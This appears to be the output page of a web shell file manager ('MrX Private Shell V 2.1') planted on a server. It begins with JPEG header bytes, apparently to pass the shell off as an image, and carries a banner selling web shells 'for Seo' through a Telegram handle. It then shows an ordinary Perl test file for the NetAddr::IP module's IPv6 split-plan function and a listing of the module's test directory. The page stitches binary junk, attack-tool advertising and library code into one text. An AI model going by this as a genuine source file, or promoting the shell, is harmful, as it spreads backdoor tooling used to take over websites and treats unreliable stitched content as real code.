����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
use Test::More tests => 28;
use_ok('NetAddr::IP');
my $ip = new NetAddr::IP('ffff:a123:b345:c789::/48');
my $rv;
ok(($rv = sprintf("%s",$ip)) eq 'FFFF:A123:B345:C789:0:0:0:0/48',"$rv eq FFFF:A123:B345:C789:0:0:0:0/48");
my($plan,$masks) = $ip->_splitplan(48);
ok($plan,'there is a plan');
ok(!$masks,'plan returns the orignal net');
ok(@$plan == 1,'one item plan');
ok(($rv = $plan->[0]) == 48,"plan $rv is original cidr 48");
my $cmask = new NetAddr::IP('ffff:7fff:ffff:ffff::');
ok(($rv = sprintf("%s",$cmask)) eq 'FFFF:7FFF:FFFF:FFFF:0:0:0:0/128',"$rv eq FFFF:7FFF:FFFF:FFFF:0:0:0:0/128");
($plan,$masks) = $ip->_splitplan($cmask);
ok(!$plan,'failing because of bits in mask');
$cmask = new NetAddr::IP('FFFF:fFFF:FFFF::');
ok(($rv = sprintf("%s",$cmask)) eq 'FFFF:FFFF:FFFF:0:0:0:0:0/128',"$rv eq FFFF:fFFF:FFFF:0:0:0:0:0/128");
($plan,$masks) = $ip->_splitplan($cmask);
ok($plan,'there is a plan');
ok(!$masks,'plan returns the orignal net');
ok(@$plan == 1,'one item plan');
ok(($rv = $plan->[0]) == 48,"plan $rv is original cidr 48");
$cmask = 'FFFF:FFFF:FFFF::'; # ipV6 text cmask
($plan,$masks) = $ip->_splitplan($cmask);
ok($plan,'there is a plan');
ok(!$masks,'plan returns the orignal net');
ok(@$plan == 1,'one item plan');
ok(($rv = $plan->[0]) == 48,"plan $rv is original cidr 48");
$cmask = 'FFFF:FFF:FFFF::'; # ipV6 text cmask
($plan,$masks) = $ip->_splitplan($cmask);
ok(!$plan,'failing because of bits in mask');
$cmask = 'garbage';
($plan,$masks) = $ip->_splitplan($cmask);
ok(!$plan,'failing because of garbage');
$cmask = 47; # cidr is bigger than requested
($plan,$masks) = $ip->_splitplan($cmask);
ok(!$plan,'failing because of 47 overange');
# cidr makes more nets than 2**16
($plan,$masks) = $ip->_splitplan(65);
ok(!$plan,'failing to many nets 65-48 = 2**17');
($plan,$masks) = $ip->_splitplan(49,49,49);
ok(!$plan,'failing because of 3 * 49 overange');
# test for plan that just fits
($plan,$masks) = $ip->_splitplan(64);
ok($plan,'there is a plan 64');
ok($masks,'plan has masks');
ok(($rv = @{$plan}) == 2 ** 16,"$rv should = 65536");
# set netlimit internal to 4 nets
$NetAddr::IP::_netlimit = 4;
($plan,$masks) = $ip->_splitplan(50); # should fit
ok($plan,"plan of 4 50's");
($plan,$masks) = $ip->_splitplan(50,50,50,50,51);
ok(!plan,"fail plan of 4 50's + 51");
($plan,$masks) = $ip->_splitplan(51);
ok(!plan,"fail plan of 8 51's");
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| canon.t | File | 480 B | 0644 |
|
| constants.t | File | 488 B | 0644 |
|
| full.t | File | 721 B | 0644 |
|
| full6-uri.t | File | 727 B | 0644 |
|
| full6.t | File | 721 B | 0644 |
|
| imhoff.t | File | 873 B | 0644 |
|
| loops.t | File | 647 B | 0644 |
|
| lower.t | File | 220 B | 0644 |
|
| masklen.t | File | 345 B | 0644 |
|
| new-store.t | File | 812 B | 0644 |
|
| nofqdn.t | File | 437 B | 0644 |
|
| old-store.t | File | 841 B | 0644 |
|
| over-arr.t | File | 500 B | 0644 |
|
| over-qq.t | File | 800 B | 0644 |
|
| relops.t | File | 1.53 KB | 0644 |
|
| rfc3021.t | File | 627 B | 0644 |
|
| short.t | File | 1.7 KB | 0644 |
|
| splitref.t | File | 749 B | 0644 |
|
| v4-coalesce.t | File | 1.47 KB | 0644 |
|
| v4-compact.t | File | 2.18 KB | 0644 |
|
| v4-compplus.t | File | 531 B | 0644 |
|
| v4-hostenum.t | File | 1.02 KB | 0644 |
|
| v4-re.t | File | 826 B | 0644 |
|
| v4-split-bulk.t | File | 547 B | 0644 |
|
| v4-split-list.t | File | 1.17 KB | 0644 |
|
| v4-splitplan.t | File | 2.23 KB | 0644 |
|
| v4-sprefix.t | File | 779 B | 0644 |
|
| v4-xprefix.t | File | 773 B | 0644 |
|
| v6-re.t | File | 1.42 KB | 0644 |
|
| v6-split-bulk.t | File | 513 B | 0644 |
|
| v6-splitplan.t | File | 2.35 KB | 0644 |
|
| wildcard.t | File | 546 B | 0644 |
|